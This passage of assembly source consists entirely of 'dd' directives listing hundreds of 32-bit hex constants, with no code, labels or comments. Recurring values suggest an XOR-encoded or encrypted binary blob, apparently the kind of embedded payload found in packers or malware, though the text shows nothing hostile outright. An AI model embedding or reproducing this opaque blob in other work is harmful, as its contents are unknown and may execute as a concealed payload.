		dd 3AFA7E91h, 0F8767553h, 79F3AD40h, 0D5C399D8h, 8EDB7444h
		dd 9C321566h, 0D736A548h, 2AB79C5Ah, 0E834B8C4h, 256BE934h
		dd 2E1B90A0h, 1E7513C0h, 88320FE4h, 71847566h, 2232058Eh
		dd 93DDA966h, 0FF7C80F3h, 1F22CC04h, 18089B6Fh,	79534E68h
		dd 4B3431ABh, 0F33DE006h, 97CD74B6h, 17943AEBh,	8832128Fh
		dd 6AF52466h, 0C4F29F23h, 2BF190EBh, 77C713C0h,	4EBC1AB6h
		dd 42321566h, 11329469h, 63B81566h, 7BB79C07h, 0CB34B8C4h
		dd 1132156Fh, 78EE04F2h, 0E4D454ABh, 0BB7D390h,	4E34B36Ah
		dd 883BFD06h, 57DE1566h, 39EF697Fh, 9B109A59h, 99DB4F81h
		dd 6321566h, 9E28F91Bh,	0CB9A1A5Ah, 4C1F3630h, 21053383h
		dd 42FE7D07h, 2DBC1DDh,	7D321566h, 0D5547BE8h, 0E9ECCC2Eh
		dd 8CAC4D3Ch, 35D01F7Ah, 0F1CDC103h, 24943AEBh,	11249269h
		dd 99DB1566h, 0DC321566h, 8459B05Dh, 61C70535h,	10BC62FCh
		dd 4EB29A6Bh, 0CDB24506h, 70CB4C32h, 0B2F190EBh, 43DB13C0h
		dd 44321566h, 84C64ECBh, 8EDB4371h, 50321566h, 3B1C284h
		dd 0F8E2EA29h, 88321561h, 5FFD8A7Eh, 0AB1460A7h, 0BC901AE3h
		dd 0DF4ED60h, 4294194Fh, 31DB7539h, 20321566h, 4BBDD32Dh
		dd 2BEFB50h, 0BC86423Dh, 0E08177A7h, 0D4895DAEh, 256A02F0h
		dd 2232048Fh, 37468266h, 0EF3E1A06h, 0D34C82C0h, 95F79EE0h
		dd 5F5A11EDh, 61ACFC32h, 44321560h, 0E6EDED55h,	0A4CDB569h
		dd 8E943AEBh, 0C1BFEC9Fh, 24942FA5h, 1132128Fh,	139A9366h
		dd 0A1D7C828h, 0DB52C599h, 94AD00h, 9BB79C07h, 0AD34B8C4h
		dd 22321569h, 196F8FF0h, 0ECC1757Ch, 331F8993h,	2D52659Dh
		dd 113212E5h, 89BA1A66h, 0BC321566h, 2E1B90A0h,	0F86D13C0h
		dd 88321569h, 0E980452Fh, 21E4D889h, 5EC3A507h,	0E0AEDC49h
		dd 95213D2Eh, 2232128Fh, 0CB202C66h, 8AEFB84Eh,	6BBFA099h
		dd 0A03D13C0h, 11321567h, 4BB7989Ah, 0AD34B35Ch, 22321575h
		dd 0C90D9B92h, 2174EFDAh, 7658EEA7h, 0BE6B687h,	0EE3AB0E0h
		dd 0DBBE9B6h, 429FB771h, 22299769h, 0F9521566h,	88321575h
		dd 0AB651939h, 0E3B68F91h, 5C8E94EEh, 0B0363C2h, 1B11007Dh
		dd 42367F07h, 83C8AE00h, 885A7493h, 0AD321576h,	2232156Fh
		dd 6C7531EBh, 17DF0FF9h, 54327D2Ch, 0CB521566h,	11321572h
		dd 24C5347Dh, 1FFE750Bh, 8E7D6D13h, 0B342F803h,	0CDDB6ED2h
		dd 4B327F07h, 223214E3h, 9D3DEC66h, 88321568h, 54D19406h
		dd 2D31FA0Dh, 113215EDh, 1DCD7466h, 42943EF7h, 2232048Fh
		dd 24899C66h, 62AC7A99h, 5CAFD7B0h, 4ED271A6h, 94BB8ADBh
		dd 8E9438F7h, 44321C8Fh, 0FA632466h, 6EEC3068h,	0DBFDCE7h
		dd 429F5A02h, 2232108Fh, 49B25866h, 58CDED02h, 443AFC06h
		dd 0D9941566h, 1BCB3597h, 6153DE5Bh, 44321576h,	933FA796h
		dd 0A1E1125Fh, 0E71BCAD5h, 93FC21FEh, 9852110Ch, 4C9EFAB3h
		dd 88369769h, 0FD541566h, 4A539CBAh, 11320566h,	883E9369h
		dd 0CD3D1566h, 22321560h, 11329A69h, 36521566h,	266252D2h
		dd 7A68DDE7h, 7953065Dh, 88323566h, 4B327F93h, 223204E9h
		dd 113EFC66h, 0B3AF1566h, 0AE71F7AEh, 231DA2FFh, 84CDF8A9h
		dd 8E943EF7h, 0E5B79C9Ah, 0CB34B363h, 11321569h, 0DEEEDAECh
		dd 0AD96ABEBh, 527BBFDEh, 98C456E8h, 2E28A8E3h,	0FB3D7560h
		dd 43D49F91h, 9E3D550Ch, 88321561h, 44339569h, 4AC71566h
		dd 11320566h, 88339369h, 2CCE1566h, 22331566h, 71327F9Ah
		dd 23DE006h, 44321566h,	223BFC07h, 53391566h, 6AACA2D4h
		dd 256A2D2Fh, 9A38099h,	983D13C0h, 88321561h, 4BCC9E06h
		dd 0AB53CDD9h, 0B73DECE3h, 9547560h, 0FDA9B1A5h, 17C9CC04h
		dd 0E4879E07h, 8734B360h, 443214EEh, 0BFB9E966h, 179414FFh
		dd 88321A8Fh, 1480F66h,	592575F8h, 265D1B44h, 0BB27FE82h
		dd 0BC3AAE06h, 0C3B344EBh, 45F2496Fh, 65879C07h, 4B34B349h
		dd 223214E2h, 0DBEC66h,	30321566h, 557B7891h, 85DC26D9h
		dd 0A6C92D6h, 544DD6C0h, 518F88EFh, 2D5213C0h, 113216EDh
		dd 0EEE79566h, 443EFC07h, 0EB561566h, 0CB92B2Dh, 5C52F070h
		dd 0D9B9A4F2h, 249414FFh, 9001EA93h, 93123152h,	48B97DFDh
		dd 26F69442h, 90321566h, 13293597h, 443AFC0Eh, 7C1E1566h
		dd 7606DAB4h, 71B14978h, 48B61A66h, 0CB32155Fh,	11321568h
		dd 0E21B05B1h, 339BA10Eh, 63E5A531h, 895AFC2Eh,	1321569h
		dd 2CC73162h, 22326007h, 0E91619EFh, 4803EC06h,	0DC59406h
		dd 0A3147918h, 6D6E6780h, 0DBB7426h, 429401B3h,	22321D8Fh
		dd 0BAFF7766h, 842F2C11h, 440E7D6Bh, 16B91566h,	15F69642h
		dd 88339969h, 0C5CE1566h, 0CA68E988h, 3546161Bh, 748D4246h
		dd 454FFD3Ch, 2D524A98h, 113217E3h, 87DBA666h, 443210E2h
		dd 4B95AA66h, 7753338Eh, 8FB21ACBh, 24321566h, 0F8F74DCh
		dd 7377447h, 8B28A026h,	12123122h, 117863D8h, 0D0ECE246h
		dd 9741680h, 0D968CF90h, 57DC947Dh, 38F956D0h, 31524B96h
		dd 8B31A56h, 0DD53E6EDh, 25B96D16h, 8CF69642h, 62F4949Ah
		dd 0A33CF412h, 751E8A0h, 0AC461605h, 0B9DC9446h, 0A3510305h
		dd 0F0463388h, 50B27568h, 0BEE5943Dh, 437549EBh, 114B3B0Eh
		dd 0AC2E9C66h, 44320DDDh, 0A9C11466h, 19DB4E5Dh, 0C8321566h
		dd 77B51E81h, 0AB618B50h, 0B7371CDBh, 43D7560h,	44321563h
		dd 0DBF49400h, 17DB455Dh, 0A4321566h, 0F00D142h, 0CB534BAFh
		dd 1132156Fh, 97032F79h, 0CD8F4B37h, 2DCD905Ch,	113240E3h
		dd 57B37566h, 201D7E1Fh, 22349F69h, 0CEB31566h,	0A2CE3851h
		dd 1A7DFD07h, 0A03D1566h, 1132156Ah, 88349F69h,	0C73D1566h
		dd 22321566h, 113AFD06h, 0AA0A1566h, 25D3553Bh,	0A3690700h
		dd 0EC5DD4B5h, 2EDB742Eh, 4B321563h, 22321CEAh,	1ECA7566h
		dd 883215E6h, 0CD657466h, 26F59481h, 90321566h,	88321189h
		dd 600E9266h, 63E9C3Ah,	113C9369h, 81DB1566h, 0EE321566h
		dd 0DB07F04Bh, 219DFC73h, 0DECC9C30h, 4B524B3Ch, 223205E3h
		dd 1139FC66h, 11261566h, 1C41B7CFh, 0D8BCDC87h,	70CC9E26h
		dd 6136C70Dh, 44321575h, 0A2EDC1BFh, 0B0DF295Ch, 4AB63885h
		dd 63575B95h, 0AB26DE26h, 0B73A14F3h, 89BC1A60h, 0B1321566h
		dd 25DB110Ch, 66321566h, 0C1EB38F0h, 445A88A3h,	0CB321576h
		dd 1132156Dh, 0E9CAC08Ah, 55B9479h, 0DE159A8Ch,	14D29C36h
		dd 88321562h, 0C336FDE5h, 0AB6E3162h, 19DB3172h, 0A8321566h
		dd 0D55C060Dh, 4277B866h, 958B7306h, 0E98DA605h, 5F8B7337h
		dd 48534D38h, 6C8A7566h
		dd 875A5748h, 443210E2h, 0E2B37366h, 0EE53D872h, 2E1984F3h
		dd 4BCA7560h, 223214E9h, 9853EC66h, 2E26BCE3h, 4423FC60h
		dd 35541566h, 0E5561197h, 8DBE568Ah, 0A87C9D8Eh, 423F0ADBh
		dd 0F9F89E00h, 88321560h, 0C9B52035h, 0D5B34083h, 36E3CBC4h
		dd 435A743Eh, 0CD321548h, 26B33162h, 0D86FF742h, 62B34F27h
		dd 5FB4884h, 63E9E9Eh, 90D59C31h, 883211A1h, 40F59666h
		dd 7E1629E1h, 1132068Fh, 0F48D6166h, 68272F6Dh,	4B2282DEh
		dd 0E49E2AE4h, 0B9080A92h, 446EA58Eh, 23B91A66h, 0ED321566h
		dd 9D19C35h, 443211A5h,	26D99466h, 96321566h, 16E317Ah
		dd 22523152h, 6F45FFE7h, 0D6D99400h, 0E89F749Ah, 7BFA9400h
		dd 43EA9F72h, 4B8B449Eh, 0A1539C28h, 314CAEh, 78373142h
		dd 0F8539C28h, 8832156Dh, 0F1AE08EFh, 4EDA4C1Ah, 1E579D63h
		dd 883214E2h, 1362E966h, 0A11611EDh, 716D11A2h,	88319069h
		dd 0FB3D1566h, 2221FDBFh, 3F31566h, 955E5514h, 953772A7h
		dd 8813B110h, 9D8435EEh, 8823FCC8h, 6BE31566h, 5E95CF1Dh
		dd 7F98C2B5h, 0FAB1C7ACh, 1C95A5E1h, 0DCBB4307h, 351E9430h
		dd 0A9311E7Dh, 5FF1943Dh, 7C13166Dh, 11321A8Fh,	0F13D0666h
		dd 0A2E34038h, 54858F56h, 0BD460054h, 88061F0Eh, 600E9C66h
		dd 22321B8Fh, 0DA631766h, 0AE1CC11h, 181CF9F7h,	12FC3DB3h
		dd 4152E9A6h, 8832108Eh, 716B2666h, 796CA4A3h, 0EC47BB07h
		dd 3B9CA106h, 0CB3D7497h, 2232156Dh, 1132138Fh,	0B6E2C966h
		dd 248E17C4h, 2232198Fh, 12D8F866h, 0E809A0B3h,	81F1A1ACh
		dd 4D68AB59h, 0EE5364D8h, 0B6C3152h, 4EDB11A2h,	0DF321566h
		dd 63D426D1h, 0B48658AAh, 0D4DD94A1h, 0A3592232h, 0EB614489h
		dd 9ED3C75h, 0BE6144A1h, 0B2F59475h, 71592232h,	0BE4FCFE7h
		dd 4B6378FCh, 223215EDh, 79534D66h, 88327401h, 0BC1601EFh
		dd 73CB9C37h, 0C71639E7h, 0D21E0A1Fh, 3DE4D7E7h, 2D6B3979h
		dd 113219EEh, 8EB11A66h, 4B321566h, 223215ECh, 808F9E66h
		dd 8734B34Bh, 443202E2h, 33BA1A66h, 0F8321566h,	8832156Ah
		dd 0B4253A1Bh, 4AC284D8h, 655B8F9Ch, 77CDEADFh,	54DBED99h
		dd 2F321566h, 0CD729716h, 0AD42F3F7h, 468ED5E6h, 139C05A0h
		dd 1123FCA6h, 589E1566h, 6D1DBAC8h, 1649A439h, 1D52A65h
		dd 0DAF0B13Fh, 443215DCh, 0A8C01466h, 35269E64h, 8736D1E5h
		dd 443205E9h, 2239FC66h, 6CF01566h, 22185D0Ah, 0EF756725h
		dd 2DFA2547h, 11321CE6h, 31547566h, 0F33DEABAh,	715274B7h
		dd 11329969h, 876D1566h, 443214E1h, 7553E966h, 0EECDEAD9h
		dd 0D7CC3C99h, 45BF1A9Fh, 0D7321566h, 90B52199h, 91A63152h
		dd 176A172Dh, 101E6BDDh, 7F1940Bh, 0B9A70D8Bh, 0B1524EBEh
		dd 2ADBD407h, 11321C8Fh, 0F373FD66h, 0DAA77042h, 2BDBAA96h
		dd 43321566h, 461D6BB9h, 3CC0F0BEh, 0CBC7D457h,	1132156Ch
		dd 28FCB2EAh, 1220E868h, 2D78854Dh, 0EECD2FE3h,	81B81A99h
		dd 24321566h, 0A3544C36h, 70A18995h, 136F9E5h, 4B6A316Ah
		dd 223214E9h, 0E662ED66h, 8CB93172h, 40F69642h,	22321B8Fh
		dd 18E15B66h, 9123C70h,	0A7E69882h, 0DD83E310h,	92683152h
		dd 0D9CE11A2h, 443215DFh, 72E31466h, 1E6B14E9h,	883200E7h
		dd 4BBE1A66h, 0CB321566h, 1132156Ch, 0CAD054D7h, 0FDA10305h
		dd 99613B54h, 11321562h, 9DD9FFE7h, 9E332908h, 37D9D7E7h
		dd 71692908h, 0FBE59400h, 46B11AE2h, 42321566h,	0FDB17407h
		dd 0AC269C62h, 91B7EA9Eh, 0CB34B372h, 1132156Dh, 3AC3083Ah
		dd 98BD0CE2h, 0CB62B370h, 11321575h, 486B3189h,	0C834C9B9h
		dd 3E3BBCF8h, 0D4B5D0h,	3475378h, 0E226C0F3h, 2CDA7560h
		dd 0E321566h, 0A27B21EFh, 0DF9D0F77h, 0C45F97B1h, 71534A22h
		dd 1424AE00h, 44321C8Fh, 847A4D66h, 8D1B4FC4h, 0B1532B67h
		dd 0E2371CF3h, 52B61A60h, 0F8321566h, 88321569h, 0FC7A2F42h
		dd 0D69E45E5h, 50E8D0D2h, 77E16293h, 0C5683152h, 223211A2h
		dd 25CDEC66h, 4CB14B42h, 443FFC62h, 35421566h, 5DBE292Dh
		dd 516B2AF3h, 11D983BBh, 223211DBh, 9ADC1466h, 4CB1314Ah
		dd 0C5547562h, 4302BAB4h, 0EECE0A8Fh, 52B37599h, 77190EDFh
		dd 2232048Fh, 0CEE7D866h, 0D2BD72FDh, 1D4893B2h, 8B00B7A8h
		dd 9A530053h, 1673172h,	40F79483h, 0A3321566h, 113211A3h
		dd 0AC1E9266h, 41DB753Ah, 0C5321566h, 6D8AC7Dh,	0BCCD749Ah
		dd 80B34B42h, 22321562h, 0F852749Fh, 8832156Fh,	0F2DA2607h
		dd 0C6BEE1A2h, 5B807588h, 0E953C5EDh, 44339269h, 0DDC71566h
		dd 926B3152h, 0F3D11A2h, 44321567h, 606EA9Eh, 15F6943Eh
		dd 87321566h, 443212E3h, 23B21A66h, 0E4321566h,	0BB6790A1h
		dd 443213C0h, 0AC3D1566h, 11321561h, 0CD26AB06h, 835329A7h
		dd 8402D4E3h, 11321560h, 7FB37566h, 41BD482Bh, 1F6EAC00h
		dd 6E8F9607h, 8834B8C7h, 44089169h, 32DB1566h, 5C321566h
		dd 7156E28Fh, 904688A0h, 79462FEEh, 71A1CA3Bh, 0B0C5FDD8h
		dd 0AAB37339h, 0AF53C18Bh, 0BD9BF3FBh, 0EE657560h, 0F769EDEDh
		dd 0A83D747Dh, 11321567h, 74E1EA9Eh, 4EAB9099h,	2FDB13C0h
		dd 76321566h, 3FD9A64h,	169E139Ah, 0E22F3031h, 1BABA8E5h
		dd 875613C0h, 44307CE4h, 0A9547566h, 17B41AA5h,	9321566h
		dd 3B675DB4h, 0A7F57477h, 17941FFFh, 88321567h,	1452759Ah
		dd 4368D3ECh, 4C7390EBh, 0EE5213CBh, 22B8EDDDh,	4323E4D9h
		dd 11249E69h, 99DB1566h, 0B3321566h, 18EB8907h,	0AB6B14Dh
		dd 0F2688802h, 0F4C4F2E3h, 0A43DC599h, 1132156Eh, 0B98B7306h
		dd 256A47C8h, 807DA0EBh, 915213CBh, 553B285h, 0EA1F37DBh
		dd 9F67E960h, 7C0255C9h, 7B1DD0E7h, 0AB1BF08Fh,	0A3C53C3Bh
		dd 0B01CBA1h, 86DB7535h, 3E321566h, 95EE2B04h, 0E298EF7Eh
		dd 96B87670h, 98D894EFh, 433154F7h, 115E370Eh, 0AC2E9C66h
		dd 9EBBEEEFh, 29DB753Dh, 4321566h, 4D74FB36h, 1563FD62h
		dd 0C0B2C89Eh, 0ACB974E4h, 8E9438F7h, 44399269h, 2D521566h
		dd 113215E1h, 4EB97366h, 0BBCDAC07h, 0A73DEA99h, 11321567h
		dd 0E8F2249Eh, 82B3D3EDh, 5A76CF3Dh, 0F3B37507h, 0FE3067CBh
		dd 4426FC06h, 0ADA01566h, 787280B9h, 0BD10B5B4h, 0B34A4B6h
		dd 0A68C788Ch, 983D4BC3h, 88321566h, 0FD637407h, 22321566h
		dd 0AB60E467h, 88321566h, 46B8DF67h, 12CA4C3Ch,	10BE1AAEh
		dd 7D321566h, 5BDAC37h,	0D3B374BCh, 8F17AB16h, 616BDB4Fh
		dd 44321572h, 0FE2F5CE7h, 0E301363Ah, 0E6F46DE0h, 2B8C1308h
		dd 6A2C601h, 49B52199h,	80DBD49Ah, 0ADF3249Eh, 22321560h
		dd 0F17C217Eh, 93D59D0h, 44321564h, 2D787406h, 0EECD75E3h
		dd 8EDBE099h, 71321566h, 4492234Bh, 15B94445h, 8CF69642h
		dd 44321E8Fh, 0D2910866h, 0DD9898ECh, 41D6D803h, 447B8B0Eh
		dd 6369C66h, 49160191h,	88321B8Fh, 55A2866h, 5E33FF9Dh
		dd 38E17B83h, 0B133B4BDh, 0E228D0E3h, 0A1B61A60h, 0F8321566h
		dd 8832156Bh, 1F244E31h, 0B5423DA1h, 0D70C19FEh, 3F5A4222h
		dd 1B3A655Dh, 636EA31h,	59F59439h, 1C59AA2h, 0C03D4A9Eh
		dd 2232156Dh, 0D68D1A06h, 88329669h, 4F531566h,	3B71AA6h
		dd 71321566h, 281802DFh, 0EAE49437h, 4338FA73h,	0A7790A1h
		dd 883313C0h, 22521566h, 447248D8h, 7009B9DEh, 8867AA0Eh
		dd 602E9C66h, 136BAFDDh, 4AEB1466h, 8832188Fh, 152FE966h
		dd 56ED3D2Ah, 0F648B908h
		dd 61537283h, 4432156Ch, 0D8A6F225h, 718DDD88h,	1C5AF508h
		dd 0CF715EB4h, 0E6B3316Ah, 11321562h, 8CBA1A06h, 22321566h
		dd 443597DFh, 0A9CEE4E7h, 4A894607h, 0CD20E6D1h, 62E9EBCh
		dd 1136D1E7h, 0DF521566h, 44329969h, 756C1566h,	4AF59E00h
		dd 83DBB807h, 0EA321566h, 0FE393B93h, 9E5CFC94h, 3DBBCABDh
		dd 42943A8Bh, 2232018Fh, 0AEAE8A66h, 0FB0EF572h, 3651ABD4h
		dd 0D25D1C1h, 0CD066387h, 316345A3h, 19857243h,	0E36BDDEFh
		dd 0C617108Eh, 4924C801h, 441F178Eh, 0F61D177h,	117A1DC3h
		dd 2F1D0A4Bh, 0B8749CCAh, 0CC0FE93Eh, 1EDCFB88h, 8832F8E3h
		dd 443DFC66h, 97601566h, 0E166B334h, 2EACC633h,	87272ECEh
		dd 0FF0C9412h, 1EEFC8BBh, 8832D8E3h, 4FDB7566h,	8D321566h
		dd 0DF679811h, 0C08AB280h, 4FDA7560h, 56321566h, 4F6E9C91h
		dd 0E3729224h, 4CDA1495h, 33321566h, 1D931917h,	0D2F08697h
		dd 0FE60743Ch, 428C143Dh, 0F3B3CF91h, 8D2F55E0h, 86B3C791h
		dd 7ACA5D6Ch, 16B7E7E7h, 9EBB4691h, 0C51601EDh,	223211A2h
		dd 3DB7566h, 0AE321566h, 505C5989h, 2B085E7h, 96750B46h
		dd 51F75869h, 0FB657457h, 22321562h, 2DB9EB67h,	8CF69642h
		dd 0A9879C9Fh, 0CB34B349h, 1132156Dh, 143EA3C6h, 5C47EEFCh
		dd 0CB0F6E4Eh, 11323E96h, 88389869h, 0F0521566h, 23F09414h
		dd 701513AEh, 77CC988Fh, 0C53D7599h, 22321577h,	1132198Fh
		dd 1B024066h, 0B346E375h, 606C49EFh, 1A8873E1h,	36274F7h
		dd 80B1317Ah, 2222FC62h, 980B1566h, 4B457038h, 1618D578h
		dd 0E7FDFC13h, 94016225h, 8E940E23h, 47FAD49Eh,	2232018Fh
		dd 1962266h, 2D1F7F1Ah,	2EC8CDCBh, 0B5B8C77Dh, 0FB93D794h
		dd 8C541009h, 0FF37170Ch, 0B4F641Dh, 6A8938B6h,	0EE1F6817h
		dd 0AD307F62h, 2232156Dh, 63A774A8h, 0D192BAFFh, 24B671F2h
		dd 2232128Eh, 23549466h, 69F5DF43h, 84F37439h, 29DBED76h
		dd 55321566h, 894FBCECh, 7A7F6B6Bh, 0EA031D73h,	1132068Fh
		dd 1C978F66h, 5A4F81C6h, 998740FCh, 8BD45EF7h, 36AA1C6Bh
		dd 5F7788EFh, 745213C0h, 0F8685DD2h, 88321560h,	564DCCBDh
		dd 1F53C1B6h, 11331566h, 89E39669h, 0C5C71566h,	9989AE58h
		dd 0D5B71ADDh, 71321567h, 4432AF34h, 0D0331566h, 1132AC37h
		dd 59331566h, 443214A1h, 786B1566h, 11249169h, 99DB1566h
		dd 72321566h, 870199D7h, 3CDC8C35h, 16A8C447h, 61C7CAC9h
		dd 2236AC37h, 0DF331566h, 91619EDh, 443211A2h, 97BBE966h
		dd 17943A8Bh, 88321F8Fh, 0E3F9B466h, 472E5321h,	9ABA957Bh
		dd 2E338CFBh, 45B41A60h, 0DA321566h, 1132078Fh,	0DA7CE366h
		dd 0D8E530B7h, 671E6511h, 195AEB36h, 77ED8759h,	603E9E55h
		dd 4236D1E5h, 11309469h, 0E9521566h, 44329E69h,	2D531566h
		dd 11321BE6h, 8DDA7566h, 2C321566h, 0B1370CCCh,	9053E93Fh
		dd 8832118Ah, 60369C66h, 34B31A3Ch, 0F8321566h,	88321577h
		dd 0ECE7C902h, 35DA0F66h, 3A15D355h, 3D04FDD5h,	2452EDB8h
		dd 44E3A269h, 4848F7E7h, 8CB34707h, 0A20C2842h,	9B634D4Ch
		dd 1822BA3h, 935F4A7h, 0DF7E77A7h, 4BFB9439h, 90577809h
		dd 91E3C397h, 1DFA3CBBh, 0F2C19406h, 716E9C0Ah,	38C99E00h
		dd 6F5374F9h, 842D50E3h, 118D7560h, 37A1D2Ch, 0A4F3749Ch
		dd 2221FC64h, 45DD1566h, 8A94BDADh, 13884FEh, 8FE3488h
		dd 0C243DB40h, 8826FC9Ch, 51C11566h, 30EB518Dh,	0BB3EF1DCh
		dd 390FD3h, 97D9EFDDh, 0A7311A32h, 17941B2Bh, 8832108Fh
		dd 0EDC18666h, 74625512h, 921611EDh, 0E86C11A2h, 249F749Eh
		dd 43F09E00h, 2733D663h, 0EB3E386Eh, 8C331533h,	77511963h
		dd 10F13866h, 87521D50h, 443211EBh, 0F58C7366h,	0CB8D1A74h
		dd 0AC769C07h, 0C43D757Ah, 22321564h, 70CB4B36h, 35DBE907h
		dd 0AD321564h, 2232156Dh, 0CD3B7C7Fh, 91FBC7EEh, 2C80C3FCh
		dd 22320200h, 1E1619EFh, 883204EFh, 443EFC66h, 0B6F51566h
		dd 8DC6417Ch, 0F7F6DA84h, 14CA5571h, 2637F5EFh,	92321566h
		dd 8CB5118Eh, 50BB4942h, 26B81A42h, 71321566h, 0B953EED1h
		dd 0C33DEDAFh, 22321561h, 0D88D1A06h, 3534E34h,	0E226BCF3h
		dd 2009E960h, 11599169h, 0F3D1566h, 44321567h, 268B4493h
		dd 10321566h, 0AC3E9EACh, 4436D1E7h, 0AE3D1566h, 11321567h
		dd 778A459Fh, 6DCDEA99h, 19CA4DA7h, 0B7371CEBh,	4BB71A60h
		dd 24CDEA99h, 9BFD9E00h, 502102Ch, 80EA7D07h, 50BB1566h
		dd 3976AF42h, 558A704Fh, 0B9573C7Dh, 0CA3D4FB6h, 22321567h
		dd 44BF989Eh, 8734B329h, 443214E4h, 0C3CDED66h,	0C4BF9C9Eh
		dd 0E834B372h, 7FF49400h, 9A5443D7h, 706B7B55h,	88239469h
		dd 0AD521566h, 22321561h, 6D3D45FAh, 89EC41Dh, 0CF53E58Eh
		dd 0AB603172h, 15F09484h, 0B321566h, 50B511A4h,	25DB4942h
		dd 0B321566h, 1BBA66B4h, 48B958CDh, 0C4BB4342h,	1136D3E7h
		dd 4EB31566h, 44321562h, 7E1621E1h, 0F2BB469Eh,	8836D6E7h
		dd 0AFB11566h, 62E9262h, 35069C3Ah, 11AF9E9Fh, 0AD34B367h
		dd 22321560h, 17DB8F1Ch, 0BBCDD051h, 0C51619EDh, 223211A2h
		dd 10B11A66h, 74321566h, 41BF1A06h, 9D321566h, 713C0776h
		dd 353D6D3h, 0E226C0E3h, 0A93D7560h, 11321562h,	0E64AE00h
		dd 44B81A35h, 7C321566h, 0E8D2C407h, 0A3CF9065h, 54DB13C0h
		dd 8A321566h, 61B0D560h, 0A726E9A7h, 48D251E2h,	13005080h
		dd 0AE3D7590h, 0D48C7391h, 12627485h, 6069E3Eh,	1136D1E7h
		dd 0EECE1566h, 443BFCCBh, 7F8B1566h, 8D7E7083h,	874F07BCh
		dd 443214E9h, 0C2F3E066h, 1DBE064h, 0B6321566h,	0CD7A740Dh
		dd 0E0AB3AB9h, 0CC6D7090h, 8B1093AAh, 0E23C58E3h, 9C547560h
		dd 943D60E6h, 88321566h, 1C644507h, 0A31621EDh,	113211A2h
		dd 8DDA7566h, 44321566h, 7FB39E84h, 73A0FDDh, 37544D1Ch
		dd 4B53518Eh, 22321DE8h, 0DAB37566h, 8431955Eh,	57DBB807h
		dd 0FE321566h, 0BBC80DD1h, 2510395h, 99F79C78h,	451AD10Ch
		dd 97375614h, 89614E77h, 1A8F40AEh, 672B3607h, 90E7E223h
		dd 28722883h, 0DFC7941Fh, 0B01CE77h, 933D488Eh,	88321561h
		dd 0C4537506h, 0A953E7A3h, 98673152h, 8CF79483h, 0C7321566h
		dd 0EB511A3h, 953D4942h, 88321567h, 5DBE1A9Ah, 0CB321566h
		dd 11321572h, 0DFE4AC49h, 7F2EE9EFh, 656F464Fh,	3C9D293Ah
		dd 84896FBEh, 77E3A8E5h, 2D3313C0h, 1132A8E2h, 8834FC66h
		dd 1C631566h, 77050339h, 3EBF985Dh, 0C3D13C0h, 443215C0h
		dd 22269469h, 0F8521566h, 8832156Bh, 0E17106A8h, 34118485h
		dd 0DED1535h, 50974AAh,	42942663h, 22B29169h, 9A521566h
		dd 50974B9h, 429400A3h,	22429169h, 1CDB1566h, 8321566h
		dd 3327926Bh, 682CF895h, 0AED363B2h, 893F88EBh,	0CD3D13C8h
		dd 22321572h, 11321A8Fh, 1B64DF66h, 676DDE9Fh, 0A1E3FDE2h
		dd 9A1EDB1Dh, 0D9CBC699h, 0C563D4EFh, 733314Ah,	906D6EE0h
		dd 0E1714A1h, 0CDCE4C1Dh, 843780E3h, 1FB31A60h,	61321566h
		dd 4432156Fh, 6453D4E9h, 2A9F5360h, 9709FCDEh, 0C13D1566h
		dd 22321567h, 8CBFEC9Ah, 8E9C146Bh, 24E1EA9Eh, 0A8FCD1E6h
		dd 0ACB17480h, 8E9426B7h, 3FB61A66h, 2D321566h,	11320DE7h
		dd 8821FC66h, 56F81566h, 123EBF2Bh, 36CE2F26h, 0E2717757h
		dd 0B15EED2Ch, 0DBB72ED2h, 1E34B348h, 883234E2h, 443DFC66h
		dd 1C761566h, 54FE1F28h
		dd 582140D6h, 627C57A9h, 13B72E0Ch, 1E34B34Ch, 883224E3h
		dd 71DBE066h, 42CDEA99h, 1132198Fh, 0A09FE066h,	45F4E050h
		dd 8079A866h, 1121FC2Bh, 5F701566h, 645E8005h, 8ABEED8Ch
		dd 0FAB38437h, 44C48ED6h, 0C1097477h, 249421CBh, 114D9069h
		dd 0BCE1566h, 0E22644DBh, 0A63D1560h, 11321556h, 89B91A06h
		dd 0B8321566h, 22309769h, 0E6B91566h, 0F58F9607h, 4434B377h
		dd 22619169h, 0F9521566h, 8832156Ch, 0DDF1FD50h, 0E0190DD8h
		dd 7068CF86h, 0C70290EBh, 4FDB13CBh, 36321566h,	9410453Fh
		dd 5D4D87F9h, 0E1DB97EFh, 0CBCDEA98h, 11321572h, 0AAAC624Ch
		dd 4F6CE275h, 795EC34Ah, 0D6259933h, 0BBF32442h, 44359069h
		dd 0A53D1566h, 11321567h, 25B72E9Eh, 4B34B352h,	0DDCC66E2h
		dd 1135FC99h, 58A1566h,	0FCE73906h, 418F96E0h, 1034B8C7h
		dd 88059069h, 4B521566h, 223216EFh, 19E69566h, 0A9FBD7DEh
		dd 0C1097464h, 249FB4F1h, 11299069h, 87521566h,	0FB3DDDD9h
		dd 0A7BF7497h, 116B1E82h, 0C15BAA06h, 0AD530BFCh, 0DDCDEB21h
		dd 0F8CD249Ah, 88321574h, 0D8EA0AC4h, 2BF3F200h, 0D5758082h
		dd 182E3651h, 0F9B17E71h, 249409A3h, 7FB61A66h,	87321569h
		dd 44321CE0h, 0A3547566h, 46B72A81h, 0D09743Eh,	429FB4E5h
		dd 221C9069h, 9A521566h, 0DB974BFh, 42941C13h, 22359B69h
		dd 9D3D1566h, 88321567h, 4588479Eh, 23321566h, 18DB4FB1h
		dd 8A321566h, 8CEE5CC8h, 0B228CD2Bh, 0B0B9905Dh, 0D3D13CBh
		dd 44321541h, 22339169h, 9AC71566h, 2E23E0E3h, 4EBC1A60h
		dd 42321566h, 11329F69h, 76B91566h, 0BB894607h,	0BCDEA99h
		dd 2ACA4EB9h, 259392E3h, 72B71A60h, 0CB321566h,	1132156Eh
		dd 2FB57A38h, 50075BA5h, 3AEF90EDh, 1E5213C0h, 954DFD9h
		dd 253EB5A6h, 0DDCDA833h, 0FE1BEA99h, 82B21A3Bh, 0AD321566h
		dd 22321563h, 2C96179Ch, 7B72E13h, 4B34B8C7h, 22323AE3h
		dd 18DB7566h, 8F321566h, 0FB17492h, 18AEB9DEh, 0C0B79E07h
		dd 8734B36Ah, 44321CE5h, 7B617566h, 0BCC29400h,	336174D9h
		dd 0BBCDEA99h, 0D769CA4Fh, 0B0A1905Dh, 0D3D13CBh, 44321553h
		dd 2232048Fh, 2C6A1A66h, 5CFAD867h, 1667AC9Ah, 4DC5BF60h
		dd 9A522C40h, 0E9F09EA9h, 4F1F90EDh, 73CE13C0h,	113214DFh
